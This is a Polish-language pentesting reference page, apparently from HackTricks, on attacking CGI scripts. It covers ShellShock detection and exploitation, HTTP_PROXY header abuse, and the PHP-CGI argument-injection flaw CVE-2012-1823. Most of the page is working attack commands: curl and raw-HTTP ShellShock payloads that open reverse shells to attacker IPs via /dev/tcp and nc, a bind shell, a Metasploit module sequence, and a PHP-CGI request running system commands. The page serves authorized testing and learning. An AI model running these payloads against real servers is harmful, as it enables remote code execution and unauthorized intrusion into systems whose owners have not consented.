CGI

Wsparcie HackTricks

Informacje

Skrypty CGI to skrypty perl, więc jeśli skompromitowałeś serwer, który może wykonywać .cgi skrypty, możesz przesłać powłokę odwrotną w perl (/usr/share/webshells/perl/perl-reverse-shell.pl), zmienić rozszerzenie z .pl na .cgi, nadać uprawnienia do wykonywania (chmod +x) i uzyskać dostęp do powłoki odwrotnej z przeglądarki internetowej, aby ją wykonać. Aby przetestować vulny CGI, zaleca się użycie nikto -C all (i wszystkich wtyczek)

ShellShock

ShellShock to vulnerability, która dotyczy szeroko stosowanej powłoki wiersza poleceń Bash w systemach operacyjnych opartych na Unixie. Skierowana jest na zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji zmiennymi środowiskowymi, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Atakujący mogą to wykorzystać, dołączając złośliwy kod do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym na potencjalne skompromitowanie systemu.

Wykorzystując tę wrażliwość, strona może zgłaszać błąd.

Możesz znaleźć tę wrażliwość zauważając, że używa starej wersji Apache i cgi_mod (z folderem cgi) lub używając nikto.

Test

Większość testów polega na wywołaniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, przeszukaj wszystkie strony cgi i przetestuj je.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (odzwierciedlone, ślepe i poza pasmem)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Wykorzystanie

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM do żądań serwera WWW)

CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu http. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"

Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać nagłówek zawierający: "Proxy: <IP_atakującego>:<PORT>" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji. Będziesz w stanie przechwycić każde żądanie wykonane przez serwer.

Stary PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Zasadniczo, jeśli cgi jest aktywne, a php jest "stary" (<5.3.12 / < 5.4.2), możesz wykonać kod. Aby wykorzystać tę lukę, musisz uzyskać dostęp do jakiegoś pliku PHP serwera WWW bez wysyłania parametrów (szczególnie bez wysyłania znaku "="). Następnie, aby przetestować tę lukę, możesz uzyskać dostęp na przykład do /index.php?-s (zauważ -s) i kod źródłowy aplikacji pojawi się w odpowiedzi.

Następnie, aby uzyskać RCE, możesz wysłać to specjalne zapytanie: /?-d allow_url_include=1 -d auto_prepend_file=php://input i kod PHP do wykonania w treści żądania. Przykład:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Więcej informacji o podatności i możliwych exploitach: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Przykład opisu CTF.

Wsparcie dla HackTricks

Last updated